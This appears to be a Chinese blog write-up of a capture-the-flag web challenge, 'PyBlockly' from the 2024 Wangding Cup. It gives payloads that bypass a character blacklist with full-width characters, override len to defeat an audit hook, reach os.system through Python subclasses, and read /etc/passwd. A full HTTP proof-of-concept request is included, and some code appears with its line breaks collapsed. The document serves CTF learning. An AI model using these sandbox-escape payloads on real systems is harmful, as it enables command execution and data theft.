当前位置: 首页 > news >正文

2024-网鼎杯web-PyBlockly

PyBlockly

image-20251007102928142

image-20251010173551088

分析源代码,逐步确定,asd这里就是关键点所在,

但是这里有check_for_blacklisted_symbols对

[!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~]

这些符号进行过滤

但是asd有经过unidecode.unidecode该函数,所以就可以通过该函数用全角字符绕过黑名单,而后转化为正常的半角字符去执行

半角转全角脚本

def to_fullwidth(text):result = ""for char in text:code = ord(char)if code == 0x20:  # 空格特殊处理code = 0x3000elif 0x21 <= code <= 0x7E:  # ASCII 范围内的可见字符code += 0xFEE0result += chr(code)return result
print(to_fullwidth(""))

执行这段危险代码的地方在

def do(source_code):hook_code = '''
def my_audit_hook(event_name, arg):blacklist = ["popen", "input", "eval", "exec", "compile", "memoryview"]if len(event_name) > 4:raise RuntimeError("Too Long!")for bad in blacklist:if bad in event_name:raise RuntimeError("No!")__import__('sys').addaudithook(my_audit_hook)'''print(source_code)#⬅️在这里code = hook_code + source_codetree = compile(source_code, "run.py", 'exec', flags=ast.PyCF_ONLY_AST)try:if verify_secure(tree):  with open("run.py", 'w') as f:f.write(code)        result = subprocess.run(['python', 'run.py'], stdout=subprocess.PIPE, timeout=5).stdout.decode("utf-8")os.remove('run.py')return resultelse:return "Execution aborted due to security concerns."except:os.remove('run.py')return "Timeout!"

asd换成')去闭合前面的(然后注释掉后面的)

print(asd)

') print(open("/etc/passwd","r").read())# 去脚本转化为全角字符绕过黑名单

') print(open("/etc/passwd","r").read())#

而后注意前面的闭合之后用;或\n去避免前面的print对后面我们的代码进行影响,不过;好像不好用

image-20251010174155555

而后绕过长度限制,将len函数修改,将返回值固定为3

注意空格

')\n__builtins__.len = lambda x:3\nprint(len("zxczxc")) \n#

而后用ssti的payload拼接使用

[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("ls")

poc

POST http://777.777.777.777:777/blockly_json HTTP/1.1
Host: 777.777.777.777:777
Content-Length: 644
X-Requested-With: XMLHttpRequest
Accept-Language: zh-CN,zh;q=0.9
Accept: */*
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Origin: http://777.777.777.777:777
Referer: http://777.777.777.777:777/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive{"blocks":{"blocks":[{"type":"print","id":"Tl6==$[AUOS!E|/:nssi","x":95,"y":151,"inputs":{"TEXT":{"block":{"type":"text","id":"R7x`UUTI=prR8.5+0ppR","fields":
{"TEXT":"')\n__builtins__.len = lambda x:3\n[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("ls") \n#"}
}}}}]}}

大佬wp:https://xz.aliyun.com/news/15665

http://www.hskmm.com/?act=detail&tid=28153

相关文章:

  • 关于微信小程序申请地理位置接口申请
  • c++学习总结
  • 2025 年大闸蟹蟹卡 / 大闸蟹礼盒 / 大闸蟹礼券 / 好蟹汇大闸蟹选择指南:生态养殖与全国服务双保障解析
  • 分享一个超级耐玩的游戏 转载 植物大战僵尸融合版最新版(v3.0.1)支持安卓版+PC电脑版
  • 【Go 语言神器】iota 到底是什么?为什么高手都爱用它?
  • 2025 年模具生产厂家最新推荐榜单:聚焦优质源头企业,助力工程采购精准选型框格梁模具/框格梁模板/混泥土模具厂家推荐
  • 2025 年最新推荐仿石漆厂家实力厂家口碑排行榜:精选优质环保外墙内墙涂料企业权威揭晓
  • oracle查询存储过程和函数中是否包含某个字符串
  • Qoder 负责人揭秘:Qoder 产品背后的思考与未来发展
  • 2025 年半导体晶片生产厂家最新推荐榜单:专利技术与规模化供货能力双维度深度解析
  • 2025 年水产养殖降氨氮亚盐厂家最新推荐排行榜 ,助力北方对虾鱼塘螃蟹池塘养殖户轻松选购优质产品
  • CS:APP学习笔记之程序的机器级表示(三) - Invinc
  • EHOME视频平台EasyCVR构建全协议、全场景融合的视频监控中枢
  • GA/T 1400视图库平台EasyCVR平台GB28181与1400级联方式全解析
  • 2025 年玻璃钢水箱生产厂家最新推荐榜单:含 30 吨 / 订做 / 消防 / 方形 / 拼装式 / 屋顶 / 大型产品,从产能与服务双维度精选优质企业
  • linux 修改本地时区
  • crontab 定时执行python脚本失败,但手动执行却成功问题处理 - hello-*
  • 2025 年不锈钢水箱厂家最新推荐榜:优质厂家实力对比与选购指南,助您选到适配设备矩形/屋顶/定做方形不锈钢水箱厂家推荐
  • 实用指南:Java 后端面试技术文档(参考)
  • 2025 年钢结构厂家最新推荐榜:优质企业全面解析,助力客户精准选择可靠合作伙伴
  • SQL server 关于“DATEDIFF() ”日期差值计算函数的用法
  • 2025 年清洗机厂家最新推荐:高压清洗机 / 超声波清洗机 / 管道清洗机等多类型设备品牌榜单,助力企业精准选购优质产品
  • AI元人文决策范式的思维逻辑演进研究
  • 2025规划馆运营厂家 TOP 榜:苏州金梓树智能科技,专注场馆全周期服务,规划馆运维优质服务商推荐!
  • 2025 高温线缆厂家 TOP 榜:奇温线缆 (上海) 有限公司,专注特种高温领域,定制化高温线缆源头厂家推荐!
  • 2025 年最新推荐 RTO 蓄热炉厂商榜单:聚焦高浓度 VOCs 处理设备,权威解读行业标杆企业优势有机废气处理/RTO 蓄热炉/RTO蓄热炉专业废气处理设备厂商推荐
  • 时变和时不变(LTI)的区别
  • 实用指南:Python Tkinter构建交互式精灵表切割桌面应用程序:将精灵表分割成单个帧的功能
  • 题解:qoj7979 棋盘
  • 氧化铝